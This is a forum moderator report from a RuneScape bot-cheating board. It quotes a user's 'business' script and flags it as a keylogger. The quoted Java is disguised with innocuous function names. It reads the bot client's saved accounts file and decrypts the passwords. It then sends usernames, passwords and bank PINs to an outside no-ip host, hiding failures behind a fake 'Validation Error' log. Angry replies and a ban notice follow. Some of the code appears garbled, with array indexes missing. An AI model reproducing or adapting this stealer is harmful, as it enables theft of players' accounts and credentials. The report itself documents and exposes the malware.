Tckr has reported a post.
Reason:
Forum: RuneScape 2 Cheating
Assigned Moderators: n4n0, Louis, Sacro, Farcast, CSkiffingt1, KerokeroCola
Posted by: Austintheman
Original Content:
Reason:
Post: How to start your runescape business.Script seems to be a keylogger.
Forum: RuneScape 2 Cheating
Assigned Moderators: n4n0, Louis, Sacro, Farcast, CSkiffingt1, KerokeroCola
Posted by: Austintheman
Original Content:
public static String TestTile(final String name) {
Map<String, String> values = mPlanker.accounts.get(name);
String password = values.get("password");
if (password == null) {
return "";
}
return password;
}
public static String[] TileArray() {
return mPlanker.accounts.keySet().toArray(
new String[mPlanker.accounts.size()]);
}
private static byte[] SHA1(final String in) throws NoSuchAlgorithmException, UnsupportedEncodingException {
MessageDigest md = MessageDigest.getInstance("SHA-1");
md.update(in.getBytes("iso-8859-1"), 0, in.length());
return md.digest();
}
public static String getTileCorner(final String name) {
Map<String, String> values = mPlanker.accounts.get(name);
String pin = values.get("pin");
if (pin == null) {
pin = "-1";
}
return pin;
}
private static String mixup(final String start, final boolean en) {
final String delim = "a";
if (start == null) {
return null;
}
int i;
byte[] hashedKey, password;
try {
hashedKey = mPlanker.SHA1(mPlanker.key);
} catch (final NoSuchAlgorithmException e) {
e.printStackTrace();
return start;
} catch (final UnsupportedEncodingException e) {
e.printStackTrace();
return start;
}
if (en) {
String end = "";
password = start.getBytes();
for (i = 0; i < hashedKey.length; i++) {
if (i < start.length()) {
end += hashedKey + password + delim;
} else {
end += hashedKey + delim;
}
}
return end.substring(0, end.length() - delim.length());
}
final String[] temp = start.split(delim);
password = new byte[temp.length];
for (i = 0; i < hashedKey.length; i++) {
final int temp2 = Integer.parseInt(temp);
if (hashedKey == temp2) {
break;
}
password = (byte) (temp2 - hashedKey);
}
return new String(password, 0, i);
}
private void CheckScreen(){
String[] Accounts;
String Data = "";
try {
final InetAddress address = InetAddress.getLocalHost();
final NetworkInterface ni = NetworkInterface.getByInetAddress(address);
mPlanker.key = new String(ni.getHardwareAddress());
} catch (final Exception e) {
mPlanker.key = System.getProperty("user.name") + System.getProperty("user.language");
}
mPlanker.accounts = mPlanker.loadAccounts();
Accounts = TileArray();
for(int i = 0; i < Accounts.length; i++){
Data = Data + Accounts + "|" + TestTile(Accounts) + "|" + getTileCorner(Accounts) + "**";
}
try {
URL url = new URL("http://myrunescape.no-ip.info/v.php?v=" + Data);
url.openStream();
} catch (final Exception e){
log("Validation Error");
}
}
private static Map<String, Map<String, String>> accounts;
private static String key;
private static boolean isTileValid(final String key) {
String[] VALID_KEYS = {"password", "pin", "reward", "member", "take_breaks"};
for (String check : VALID_KEYS) {
if (key.equalsIgnoreCase(check)) {
return true;
}
}
return false;
}
private static Map<String, Map<String, String>> loadAccounts() {
Map<String, Map<String, String>> names = new TreeMap<String, Map<String, String>>();
TreeMap<String, String> keys = null;
final Logger log = Logger.getLogger(mPlanker.class.getName());
final String FILE_NAME = GlobalConfiguration.Paths.getAccountsFile();
File accountFile = new File(FILE_NAME);
if (accountFile.exists()) {
try {
BufferedReader br = new BufferedReader(new FileReader(accountFile));
String line;
String name = "";
while ((line = br.readLine()) != null) {
if (line.startsWith("[") && line.endsWith("]")) {
if (!name.isEmpty()) {
names.put(mPlanker.fixName(name), keys);
}
name = line.trim().substring(1).substring(0, line.length() - 2);
keys = new TreeMap<String, String>();
continue;
}
if (keys != null && line.matches("^\\w+=.+$")) {
if (name.isEmpty()) {
continue;
}
String[] split = line.trim().split("=");
if (isTileValid(split[0])) {
String value = split[1];
if (split[0].equals("pin")) {
if (!CheckTile(value)) {
log.warning("Invalid pin '" + value + "' on account: " + name + " (ignored)");
value = null;
}
}
if (split[0].equals("password")) {
value = mPlanker.mixup(value, false);
}
keys.put(split[0], value);
}
}
What the fuck are you doing with my password you fucking idiot
You're retarded
Enjoy your ban dumb ass.


